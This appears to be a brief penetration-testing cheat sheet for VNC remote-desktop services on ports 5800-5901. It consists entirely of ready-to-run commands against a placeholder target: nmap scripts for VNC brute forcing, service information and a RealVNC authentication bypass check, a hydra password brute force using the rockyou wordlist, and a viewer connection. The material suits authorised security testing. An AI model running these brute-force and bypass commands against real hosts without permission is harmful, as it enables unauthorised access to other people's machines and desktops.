5800,5801,5900,5901 - Pentesting vnc

nmap --script vnc-brute -p 5900 $IP
nmap -sV -Pn --script vnc-info,realvnc-auth-bypass,vnc-title -p 5900 $IP

hydra -s 5900 -P /usr/share/wordlists/rockyou.txt -t 4 $IP vnc

xtightvncviewer $IP